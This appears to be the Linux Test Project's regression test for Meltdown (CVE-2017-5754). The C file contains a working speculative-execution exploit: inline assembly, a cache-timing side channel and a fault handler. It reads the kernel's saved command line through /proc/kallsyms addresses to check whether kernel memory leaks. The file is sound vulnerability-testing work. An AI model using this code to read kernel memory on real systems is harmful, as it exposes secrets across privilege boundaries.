• Home
  • Line#
  • Scopes#
  • Navigate#
  • Raw
  • Download
1 // SPDX-License-Identifier: GPL-2.0-or-later
2 /*
3  * Copyright (c) 2018 Pavel Boldin <pboldin@cloudlinux.com>
4  */
5 
6 #include "config.h"
7 #include "tst_test.h"
8 
9 #include <stdio.h>
10 #include <string.h>
11 #include <signal.h>
12 #include <ucontext.h>
13 #include <unistd.h>
14 #include <fcntl.h>
15 #include <ctype.h>
16 #include <sys/utsname.h>
17 
18 #ifdef HAVE_EMMINTRIN_H
19 #include <emmintrin.h>
20 
21 #include "tst_tsc.h"
22 
23 #define TARGET_OFFSET	9
24 #define TARGET_SIZE	(1 << TARGET_OFFSET)
25 #define BITS_BY_READ	2
26 
27 static char target_array[BITS_BY_READ * TARGET_SIZE];
28 
29 static void
clflush_target(void)30 clflush_target(void)
31 {
32 	int i;
33 
34 	for (i = 0; i < BITS_BY_READ; i++)
35 		_mm_clflush(&target_array[i * TARGET_SIZE]);
36 }
37 
38 extern char failshere[];
39 extern char stopspeculate[];
40 
41 static void __attribute__((noinline))
speculate(unsigned long addr,char bit)42 speculate(unsigned long addr, char bit)
43 {
44 	register char mybit asm ("cl") = bit;
45 #ifdef __x86_64__
46 	asm volatile (
47 		"1:\n\t"
48 
49 		".rept 300\n\t"
50 		"add $0x141, %%rax\n\t"
51 		".endr\n"
52 
53 		"failshere:\n\t"
54 		"movb (%[addr]), %%al\n\t"
55 		"ror %[bit], %%rax\n\t"
56 		"and $1, %%rax\n\t"
57 		"shl $9, %%rax\n\t"
58 		"jz 1b\n\t"
59 
60 		"movq (%[target], %%rax, 1), %%rbx\n"
61 
62 		"stopspeculate: \n\t"
63 		"nop\n\t"
64 		:
65 		: [target] "r" (target_array),
66 		  [addr] "r" (addr),
67 		  [bit] "r" (mybit)
68 		: "rax", "rbx"
69 	);
70 #else /* defined(__x86_64__) */
71 	asm volatile (
72 		"1:\n\t"
73 
74 		".rept 300\n\t"
75 		"add $0x141, %%eax\n\t"
76 		".endr\n"
77 
78 		"failshere:\n\t"
79 		"movb (%[addr]), %%al\n\t"
80 		"ror %[bit], %%eax\n\t"
81 		"and $1, %%eax\n\t"
82 		"shl $9, %%eax\n\t"
83 		"jz 1b\n\t"
84 
85 		"movl (%[target], %%eax, 1), %%ebx\n"
86 
87 		"stopspeculate: \n\t"
88 		"nop\n\t"
89 		:
90 		: [target] "r" (target_array),
91 		  [addr] "r" (addr),
92 		  [bit] "r" (mybit)
93 		: "rax", "ebx"
94 	);
95 #endif
96 }
97 
98 #ifdef __i386__
99 # define REG_RIP	REG_EIP
100 #endif
101 
102 static void
sigsegv(int sig LTP_ATTRIBUTE_UNUSED,siginfo_t * siginfo LTP_ATTRIBUTE_UNUSED,void * context LTP_ATTRIBUTE_UNUSED)103 sigsegv(int sig LTP_ATTRIBUTE_UNUSED,
104 	siginfo_t *siginfo LTP_ATTRIBUTE_UNUSED,
105 	void *context LTP_ATTRIBUTE_UNUSED)
106 {
107 	ucontext_t *ucontext = context;
108 	unsigned long *prip = (unsigned long *)&ucontext->uc_mcontext.gregs[REG_RIP];
109 	if (*prip != (unsigned long)failshere) {
110 		tst_brk(TBROK,
111 			"Segmentation fault at unexpected location %lx",
112 			*prip);
113 		abort();
114 	}
115 	*prip = (unsigned long)stopspeculate;
116 	return;
117 }
118 
119 static int
set_signal(void)120 set_signal(void)
121 {
122 	struct sigaction act = {
123 		.sa_sigaction = sigsegv,
124 		.sa_flags = SA_SIGINFO,
125 	};
126 
127 	return sigaction(SIGSEGV, &act, NULL);
128 }
129 
130 static inline int
get_access_time(volatile char * addr)131 get_access_time(volatile char *addr)
132 {
133 	unsigned long long time1, time2;
134 	volatile int j LTP_ATTRIBUTE_UNUSED;
135 
136 	rdtscll(time1);
137 
138 	j = *addr;
139 
140 	_mm_mfence();
141 	rdtscll(time2);
142 
143 	return time2 - time1;
144 }
145 
146 static int cache_hit_threshold;
147 static int hist[BITS_BY_READ];
148 
149 static void
check(void)150 check(void)
151 {
152 	int i, time;
153 	volatile char *addr;
154 
155 	for (i = 0; i < BITS_BY_READ; i++) {
156 		addr = &target_array[i * TARGET_SIZE];
157 
158 		time = get_access_time(addr);
159 
160 		if (time <= cache_hit_threshold)
161 			hist[i]++;
162 	}
163 }
164 
165 #define CYCLES 10000
166 static int
readbit(int fd,unsigned long addr,char bit)167 readbit(int fd, unsigned long addr, char bit)
168 {
169 	int i, ret;
170 	static char buf[256];
171 
172 	memset(hist, 0, sizeof(hist));
173 
174 	for (i = 0; i < CYCLES; i++) {
175 		ret = pread(fd, buf, sizeof(buf), 0);
176 		if (ret < 0)
177 			tst_res(TFAIL | TERRNO, "can't read fd");
178 
179 		clflush_target();
180 
181 		speculate(addr, bit);
182 		check();
183 	}
184 
185 #ifdef DEBUG
186 	for (i = 0; i < BITS_BY_READ; i++)
187 		tst_res(TINFO, "addr %lx hist[%x] = %d", addr, i, hist[i]);
188 #endif
189 
190 	if (hist[1] > CYCLES / 10)
191 		return 1;
192 	return 0;
193 }
194 
195 static int
readbyte(int fd,unsigned long addr)196 readbyte(int fd, unsigned long addr)
197 {
198 	int bit, res = 0;
199 
200 	for (bit = 0; bit < 8; bit ++ )
201 		res |= (readbit(fd, addr, bit) << bit);
202 
203 	return res;
204 }
205 
206 
207 static int
mysqrt(long val)208 mysqrt(long val)
209 {
210 	int root = val / 2, prevroot = 0, i = 0;
211 
212 	while (prevroot != root && i++ < 100) {
213 		prevroot = root;
214 		root = (val / root + root) / 2;
215 	}
216 
217 	return root;
218 }
219 
220 #define ESTIMATE_CYCLES	1000000
221 static void
set_cache_hit_threshold(void)222 set_cache_hit_threshold(void)
223 {
224 	long cached, uncached, i;
225 
226 	for (cached = 0, i = 0; i < ESTIMATE_CYCLES; i++)
227 		cached += get_access_time(target_array);
228 
229 	for (cached = 0, i = 0; i < ESTIMATE_CYCLES; i++)
230 		cached += get_access_time(target_array);
231 
232 	for (uncached = 0, i = 0; i < ESTIMATE_CYCLES; i++) {
233 		_mm_clflush(target_array);
234 		uncached += get_access_time(target_array);
235 	}
236 
237 	cached /= ESTIMATE_CYCLES;
238 	uncached /= ESTIMATE_CYCLES;
239 
240 	cache_hit_threshold = mysqrt(cached * uncached);
241 
242 	tst_res(TINFO,
243 		"access time: cached = %ld, uncached = %ld, threshold = %d",
244 		cached, uncached, cache_hit_threshold);
245 }
246 
247 static unsigned long
find_symbol_in_file(const char * filename,const char * symname)248 find_symbol_in_file(const char *filename, const char *symname)
249 {
250 	unsigned long addr;
251 	char type;
252 	int ret, read;
253 	char fmt[strlen(symname) + 64];
254 
255 	tst_res(TINFO, "Looking for %s in %s", symname, filename);
256 	if (access(filename, F_OK) == -1) {
257 		tst_res(TINFO, "%s not available", filename);
258 		return 0;
259 	}
260 
261 	sprintf(fmt, "%%lx %%c %s%%c", symname);
262 
263 	ret = FILE_LINES_SCANF(filename, fmt, &addr, &type, &read);
264 	if (ret)
265 		return 0;
266 
267 	return addr;
268 }
269 
270 static unsigned long
find_kernel_symbol(const char * name)271 find_kernel_symbol(const char *name)
272 {
273 	char systemmap[256];
274 	struct utsname utsname;
275 	unsigned long addr;
276 
277 	addr = find_symbol_in_file("/proc/kallsyms", name);
278 	if (addr)
279 		return addr;
280 
281 	if (uname(&utsname) < 0)
282 		tst_brk(TBROK | TERRNO, "uname");
283 	sprintf(systemmap, "/boot/System.map-%s", utsname.release);
284 	addr = find_symbol_in_file(systemmap, name);
285 	return addr;
286 }
287 
288 static unsigned long saved_cmdline_addr;
289 static int spec_fd;
290 
setup(void)291 static void setup(void)
292 {
293 	set_cache_hit_threshold();
294 
295 	saved_cmdline_addr = find_kernel_symbol("saved_command_line");
296 	tst_res(TINFO, "&saved_command_line == 0x%lx", saved_cmdline_addr);
297 
298 	if (!saved_cmdline_addr)
299 		tst_brk(TCONF, "saved_command_line not found");
300 
301 	spec_fd = SAFE_OPEN("/proc/cmdline", O_RDONLY);
302 
303 	memset(target_array, 1, sizeof(target_array));
304 
305 	if (set_signal() < 0)
306 		tst_res(TFAIL | TERRNO, "set_signal");
307 }
308 
309 #define READ_SIZE 32
310 
run(void)311 static void run(void)
312 {
313 	unsigned int i, score = 0, ret;
314 	unsigned long addr;
315 	unsigned long size;
316 	char read[READ_SIZE] = { 0 };
317 	char expected[READ_SIZE] = { 0 };
318 	int expected_len;
319 
320 	expected_len = pread(spec_fd, expected, sizeof(expected), 0);
321 	if (expected_len < 0)
322 		tst_res(TFAIL | TERRNO, "can't read test fd");
323 
324 	/* read address of saved_cmdline_addr */
325 	addr = saved_cmdline_addr;
326 	size = sizeof(addr);
327 	for (i = 0; i < size; i++) {
328 		ret = readbyte(spec_fd, addr);
329 
330 		read[i] = ret;
331 		tst_res(TINFO, "read %lx = 0x%02x %c", addr, ret,
332 			isprint(ret) ? ret : ' ');
333 
334 		addr++;
335 	}
336 
337 	/* read value pointed to by saved_cmdline_addr */
338 	memcpy(&addr, read, sizeof(addr));
339 	memset(read, 0, sizeof(read));
340 	tst_res(TINFO, "save_command_line: 0x%lx", addr);
341 	size = expected_len;
342 
343 	if (!addr)
344 		goto done;
345 
346 	for (i = 0; i < size; i++) {
347 		ret = readbyte(spec_fd, addr);
348 
349 		read[i] = ret;
350 		tst_res(TINFO, "read %lx = 0x%02x %c | expected 0x%02x |"
351 			" match: %d", addr, ret, isprint(ret) ? ret : ' ',
352 			expected[i], read[i] == expected[i]);
353 
354 		addr++;
355 	}
356 
357 	for (i = 0; i < size; i++)
358 		if (expected[i] == read[i])
359 			score++;
360 
361 done:
362 	if (score > size / 2)
363 		tst_res(TFAIL, "I was able to read your kernel memory!!!");
364 	else
365 		tst_res(TPASS, "I was not able to read your kernel memory");
366 	tst_res(TINFO, "score(matched/all): %u / %lu", score, size);
367 }
368 
cleanup(void)369 static void cleanup(void)
370 {
371 	SAFE_CLOSE(spec_fd);
372 }
373 
374 static struct tst_test test = {
375 	.needs_root = 1,
376 	.setup = setup,
377 	.test_all = run,
378 	.cleanup = cleanup,
379 	.min_kver = "2.6.32",
380 	.supported_archs = (const char *const []) {
381 		"x86",
382 		"x86_64",
383 		NULL
384 	},
385 	.tags = (const struct tst_tag[]) {
386 		{"CVE", "2017-5754"},
387 		{}
388 	}
389 };
390 
391 #else /* HAVE_EMMINTRIN_H */
392 	TST_TEST_TCONF("<emmintrin.h> is not supported");
393 #endif
394